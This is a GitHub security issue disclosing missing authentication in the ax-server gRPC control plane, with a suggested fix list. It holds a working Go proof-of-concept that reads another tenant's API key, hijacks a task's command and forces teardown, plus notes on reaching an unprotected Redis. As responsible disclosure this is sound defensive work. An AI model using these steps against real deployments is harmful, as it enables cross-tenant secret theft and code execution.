Skip to content

Security: ax-server control plane has no authentication or authorization (cross-tenant read, task hijack, forced teardown) #376

Description

@Aravindargutus

Reported to the Google OSS VRP, which triaged it as a valid critical product vulnerability and invited a public issue on this repository to get it fixed.

Reviewed at commit d8ed0fe (main).

Summary

ax-server exposes every gRPC method with no authentication and no authorization. The tenant identifier (atespace) is an attacker-supplied request field, and an empty value returns the global index of all objects. Any client that can reach the server can therefore read, modify, and request deletion of every tenant's Tasks, Workspaces, Gateways, and Models a complete break of the multi-tenant isolation AX is designed to enforce.

In the default deployment this is reachable from inside every task sandbox, so a single malicious or prompt-injected agent can pivot to compromise all other tenants.

Root cause

The gRPC server is constructed with no transport credentials and no interceptor:

// internal/server/server.go:38-46
func NewServer(s store.Store) *Server {
    srv := &Server{
        store:      s,
        grpcServer: grpc.NewServer(), // no creds, no auth/authz interceptor
    }
    v1alpha1.RegisterAXServer(srv.grpcServer, srv)
    return srv
}

It is served as cleartext h2c (cmd/ax-server/main.go sets SetUnencryptedHTTP2(true) and listens on :8080), so there is no
channel-level client authentication either.

No handler derives a caller identity; each trusts req.Atespace verbatim
(internal/server/server.go:73 GetTask, :91 ListTasks, :111
UpdateTask, :132 DeleteTask, and the Workspace/Gateway/Model handlers):

atespace := req.Atespace
if atespace == "" {
    atespace = "default"
}

And an empty atespace returns the global index across all tenants:

// internal/store/redis/store.go:219
if atespace == "" || atespace == "*" {
    members, err = s.client.ZRevRange(ctx, s.taskIndexKey(), start, stop).Result()
}

Impact

  • Confidentiality. ListTasks{atespace:""} (or a targeted GetTask)
    returns other tenants' task specs, including secrets in Task.spec.env. The
    controller also injects the resolved model API key and the full Task/Workspace
    YAML into the container environment
    (internal/controller/reconciler.go:152-164), and List*/Get* do no field
    stripping.
  • Integrity. UpdateTask performs no ownership check, so a victim task's
    spec.command / spec.image can be overwritten and spec.debug set to true;
    on the next reconcile the attacker's command runs inside the victim's sandbox
    with the victim's environment and secrets.
  • Availability. DeleteTask on any victim task marks it Terminating and
    emits a delete event (two-phase delete, internal/server/server.go:132),
    after which the controller tears down the actor.

Reachability

A task with no Gateway is given an allow-all egress policy:

// internal/controller/reconciler.go:193-198
egressAllowlist = &v1alpha1.EgressAllowlist{
    Hosts: []*v1alpha1.HostRule{{Host: "*", Port: 443}},
}

and internal/substrate/client.go:459-475 converts host "*" into
EgressRule{All} — the Port field is never read anywhere in the codebase — so
sandboxes can reach the in-cluster ax-server:8080. Redis also has no password
(deploy/redis.yaml, empty --redis-password), so the same state is reachable
directly on :6379 via SET ax:task:<ns>:<name> + XADD ax:stream:tasks.

Reproduction

The test below drives the real internal/server handlers against the in-memory
store using two independent unauthenticated gRPC connections: a victim that
provisions a task and disconnects, and a separate attacker sharing no state with
it. No Redis, Kubernetes, or Substrate required.

Save as internal/server/ax_noauth_poc_test.go and run:

go test -run TestPoC_NoAuthCrossTenant -v ./internal/server/
PoC test source
package server_test

import (
	"context"
	"net"
	"net/http"
	"testing"
	"time"

	"github.com/google/ax/internal/server"
	"github.com/google/ax/internal/store/memory"
	v1 "github.com/google/ax/pkg/apis/v1alpha1"

	"google.golang.org/grpc"
	"google.golang.org/grpc/credentials/insecure"
)

func pocServe(t *testing.T) (string, func()) {
	srv := server.NewServer(memory.NewStore())
	ln, err := net.Listen("tcp", "127.0.0.1:0")
	if err != nil {
		t.Fatal(err)
	}
	hs := &http.Server{Handler: srv.Handler()}
	hs.Protocols = new(http.Protocols)
	hs.Protocols.SetHTTP1(true)
	hs.Protocols.SetUnencryptedHTTP2(true)
	go hs.Serve(ln)
	time.Sleep(100 * time.Millisecond)
	return ln.Addr().String(), func() { hs.Close() }
}

func pocDial(t *testing.T, addr string) (v1.AXClient, func()) {
	conn, err := grpc.NewClient(addr, grpc.WithTransportCredentials(insecure.NewCredentials()))
	if err != nil {
		t.Fatal(err)
	}
	return v1.NewAXClient(conn), func() { conn.Close() }
}

func TestPoC_NoAuthCrossTenant(t *testing.T) {
	addr, stopServer := pocServe(t)
	defer stopServer()
	ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
	defer cancel()

	// VICTIM: provisions a task holding a secret, then disconnects.
	victim, closeVictim := pocDial(t, addr)
	defer closeVictim()
	if _, err := victim.UpdateTask(ctx, &v1.UpdateTaskRequest{Task: &v1.Task{
		Metadata: &v1.ObjectMeta{Name: "billing-job", Atespace: "victim-tenant"},
		Spec: &v1.TaskSpec{
			Image:   "victim/app:1.0",
			Command: []string{"/run-billing"},
			Env:     []*v1.EnvVar{{Name: "STRIPE_KEY", Value: "sk_live_SECRET"}},
		},
	}}); err != nil {
		t.Fatalf("victim setup: %v", err)
	}
	closeVictim()

	// ATTACKER: separate connection, no credentials, no shared state.
	attacker, closeAttacker := pocDial(t, addr)
	defer closeAttacker()

	// (a) Cross-tenant read via the global index.
	all, err := attacker.ListTasks(ctx, &v1.ListTasksRequest{Atespace: ""})
	if err != nil {
		t.Fatalf("attacker ListTasks: %v", err)
	}
	leaked := false
	for _, tk := range all.Tasks {
		for _, e := range tk.GetSpec().GetEnv() {
			if e.Value == "sk_live_SECRET" {
				leaked = true
				t.Logf("[a] attacker READ %s=%s from tenant %q (it never owned)",
					e.Name, e.Value, tk.GetMetadata().GetAtespace())
			}
		}
	}
	if !leaked {
		t.Fatal("expected attacker to read victim secret via empty-atespace list")
	}

	// (a') Targeted cross-tenant read.
	stolen, err := attacker.GetTask(ctx, &v1.GetTaskRequest{Name: "billing-job", Atespace: "victim-tenant"})
	if err != nil {
		t.Fatalf("attacker GetTask on victim atespace: %v", err)
	}
	t.Logf("[a'] attacker GetTask victim-tenant/billing-job -> env=%v", stolen.GetSpec().GetEnv())

	// (b) Hijack the victim's task.
	if _, err := attacker.UpdateTask(ctx, &v1.UpdateTaskRequest{Task: &v1.Task{
		Metadata: &v1.ObjectMeta{Name: "billing-job", Atespace: "victim-tenant"},
		Spec: &v1.TaskSpec{
			Image:   "victim/app:1.0",
			Command: []string{"sh", "-c", "echo attacker-controlled"},
			Debug:   true,
		},
	}}); err != nil {
		t.Fatalf("attacker UpdateTask: %v", err)
	}
	got, _ := attacker.GetTask(ctx, &v1.GetTaskRequest{Name: "billing-job", Atespace: "victim-tenant"})
	t.Logf("[b] attacker HIJACKED command=%v debug=%v",
		got.GetSpec().GetCommand(), got.GetSpec().GetDebug())

	// (c) Force teardown (two-phase delete).
	if _, err := attacker.DeleteTask(ctx, &v1.DeleteTaskRequest{
		Name: "billing-job", Atespace: "victim-tenant",
	}); err != nil {
		t.Fatalf("attacker DeleteTask: %v", err)
	}
	after, err := attacker.GetTask(ctx, &v1.GetTaskRequest{Name: "billing-job", Atespace: "victim-tenant"})
	if err != nil {
		t.Fatalf("GetTask after delete: %v", err)
	}
	if after.GetStatus().GetPhase() != v1.PhaseTerminating {
		t.Fatalf("expected phase Terminating, got %q", after.GetStatus().GetPhase())
	}
	t.Logf("[c] attacker forced victim task -> phase=%q", after.GetStatus().GetPhase())
}

Output:

[a]  attacker READ STRIPE_KEY=sk_live_SECRET from tenant "victim-tenant" (it never owned)
[a'] attacker GetTask victim-tenant/billing-job -> env=[STRIPE_KEY=sk_live_SECRET]
[b]  attacker HIJACKED command=[sh -c echo attacker-controlled] debug=true
[c]  attacker forced victim task -> phase="Terminating"
--- PASS

Scope of what the PoC demonstrates

Executed and confirmed: the API-layer cross-tenant read, hijack-write,
and delete-request (→ Terminating). Verified deterministic across repeated
runs (-count=5).

Verified by code path but not executed here (they need the controller +
Substrate + Kubernetes runtime): the hijacked command actually executing inside
the victim's sandbox, the final record teardown after the two-phase delete, and
the default-egress reachability from a sandbox.

Suggested fixes

  1. Require authenticated RPCs (mTLS or a validated bearer token) via a gRPC
    interceptor, and serve TLS rather than cleartext h2c.
  2. Bind the authenticated identity to the atespaces it may access; reject a
    caller-supplied atespace outside that set, and drop the empty/* → global
    behavior for untrusted callers.
  3. Strip spec.env values (and the injected key/YAML) from objects returned by
    List*/Get*.
  4. Set a Redis password and add NetworkPolicies so only ax-server /
    ax-controller can reach Redis.
  5. Default the no-Gateway egress policy to deny cluster-internal CIDRs so
    sandboxes cannot reach the control plane or Redis.

Related findings from the same review

Happy to open separate issues for these if useful:

  • Cross-namespace Kubernetes secret read via metadata.atespace combined with a
    cluster-wide secrets ClusterRole, with the controller's own key as a
    fallback for any atespace (internal/controller/reconciler.go:371-385,
    deploy/ax-controller.yaml).
  • Unauthenticated guest process-exec / filesystem service on :80 when
    spec.debug is set, reachable via atenet-router
    (internal/metadata/server.go:71-87).
  • Egress fence weaker than documented: HostRule.Port is never read, and an
    empty allowlist applies no policy while the task still reports
    GatewayReady=True (internal/substrate/client.go:451-475).
  • Workspace path escape via GitRepo.dir — absolute paths and .. are not
    rejected (internal/workspace/setup.go:173-183).
  • git argument injection: branch/URL are passed to git fetch without a --
    separator (internal/workspace/setup.go:217-227).

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions